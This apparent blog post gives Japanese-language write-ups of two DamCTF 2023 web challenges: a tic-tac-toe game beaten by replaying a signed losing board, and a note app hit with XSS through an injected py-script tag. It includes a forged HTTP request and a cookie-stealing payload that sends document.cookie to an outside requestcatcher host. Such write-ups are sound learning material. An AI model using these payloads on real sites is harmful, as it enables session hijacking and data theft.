はまやんはまやんはまやん

hamayanhamayan's blog

DamCTF 2023 Writeups

[web] tcl-tac-toe

ソースコードあり。
三目並べができるサイトが与えられる。
勝つとフラグが与えられるようだ。

以下2点の性質を活用することで、Xの勝利状態を引っ張り出す。

  1. 勝負が決まった後でも状態が初期化されずに残る
  2. 勝ち負けの判定時に各パターンについてXの勝利判定の方が優先して行われる

具体的にどうやって勝ち状態を引っ張り出すかであるが、まずは何とかして

X O O
X O X
  O X

という負け状態を作り出す。
別に他のパターンでもいいが、computer_make_moveを見ると各パターンごとに
XかOかの勝ち状態を判定している感じのイテレーションなので、
注意して負け状態を作る必要がある。

このとき

X O O X O X - O X,915f9a224afddafe0afb2ffbc7e5d7002233ac87d0c221e7aedaff9c74d62ad094be4d942bbc4796dcddca009041618e4ace43960b8947de744fad2ccff3343f9a1a68978ff5feb1a4157d951cc4bf24747f3a6dadc8ebf7c1b87c8a1d8ae9ba51b6142fb99b7dce8e0a8e9ed2a4c8c9aa0117b210aaa776bc7d7e81f2c275ae3e2af19839bf9eae5204af3e625a4801fa958a3c913ded97a607e63ffd0df47d9fdeb013921bf89549e6893110ddb77c5c1ad3d3e415c2f3b3767898f8ffcd9b78e153b09b7ffa23c411c7ecd2090bfae2d2571ac0d37db9a9e2d2e2360c5d923fcf72c0cc3d5fa7999faa334339ad615c3ede3c849d4ee41eecf978d0e96b39,Haha I win!

のように負けとして判定が帰ってくるが、この負け状態に対する署名を得ることができる。
このとき、性質1を使えば、この署名を使って無理矢理ゲームを続行することができる。
これを使って以下のようなリクエストを作成しよう。

POST /update_board HTTP/1.1
Host: tcl-tac-toe.chals.damctf.xyz
Content-Length: 611
Content-Type: application/x-www-form-urlencoded
Connection: close

prev_board=X%20O%20O%20X%20O%20X%20-%20O%20X&new_board=X%20O%20O%20X%20O%20X%20X%20O%20X&signature=915f9a224afddafe0afb2ffbc7e5d7002233ac87d0c221e7aedaff9c74d62ad094be4d942bbc4796dcddca009041618e4ace43960b8947de744fad2ccff3343f9a1a68978ff5feb1a4157d951cc4bf24747f3a6dadc8ebf7c1b87c8a1d8ae9ba51b6142fb99b7dce8e0a8e9ed2a4c8c9aa0117b210aaa776bc7d7e81f2c275ae3e2af19839bf9eae5204af3e625a4801fa958a3c913ded97a607e63ffd0df47d9fdeb013921bf89549e6893110ddb77c5c1ad3d3e415c2f3b3767898f8ffcd9b78e153b09b7ffa23c411c7ecd2090bfae2d2571ac0d37db9a9e2d2e2360c5d923fcf72c0cc3d5fa7999faa334339ad615c3ede3c849d4ee41eecf978d0e96b39

これによって

X O O
X O X
X O X

のようなXもOも勝っているような盤面を作成することができるが、判定の順番の関係でXの勝利と結論付けさせることができる。
これによってフラグが得られる。

[web] url-stored-notes

メモアプリが与えられる。
pyscriptというライブラリを使ってpythonをブラウザ上で動かすことで、メモのシリアライズとデシリアライズをしている。
メモによってscript以外のタグを内容有で埋め込むことができる。

色々直でXSSを試したがうまくいかない。
<py-script>print("test")</py-script>
のようにpy-scriptタグを埋め込んでみると良い感じに実行されてきた。
これは使えそう。

色々payloadを試してみて、結局以下の記事が参考になった。
https://github.com/pyscript/pyscript/issues/373
対応するプルリクが以下でtesコードからhtmlの埋め込み方がわかる。
https://github.com/pyscript/pyscript/pull/915/files
payloadを書いてしまうと以下のような感じにすればXSS発動してCookieを抜ける。
<py-script>display(HTML("<img src=x onerror=fetch('https://[yours].requestcatcher.com/test?'+document.cookie)>"))</py-script>

request catcherで待ち受けて、以下のようにPOSTを投げるとフラグが降ってくる。

POST /report HTTP/1.1
Host: url-stored-notes.chals.damctf.xyz
Content-Type: application/x-www-form-urlencoded
Content-Length: 384

url=http%3a%2f%2furl-stored-notes.chals.damctf.xyz%2f%23%2fTd6WFoAAATm1rRGAgAhARYAAAB0L%2bWj4ACtAJ5dAC2ewEcDz40ozKl1G8HgzpiWSPLZsYfJ%2fuZzHfFAKs4GxJzHN6jAd8EFzfok6prMQckTtlr7qc%2fH4pV%2bsdhYY4RIWR8SCROdY4T69eL%2bTG7tG7XusrjC28ohNpkzr2KC7TB3%2fp%2b%2bw%2fZ5lnf82nyTBWpAJzkQwEKsBV64r%2bRFH4FwLN4ba1D60v6XBAnuEqPQfOfjvaXfIAqcIBC8i5oAAAAAFzcvmGxb%2b34AAboBrgEAAH%2fJEumxxGf7AgAAAAAEWVo%3d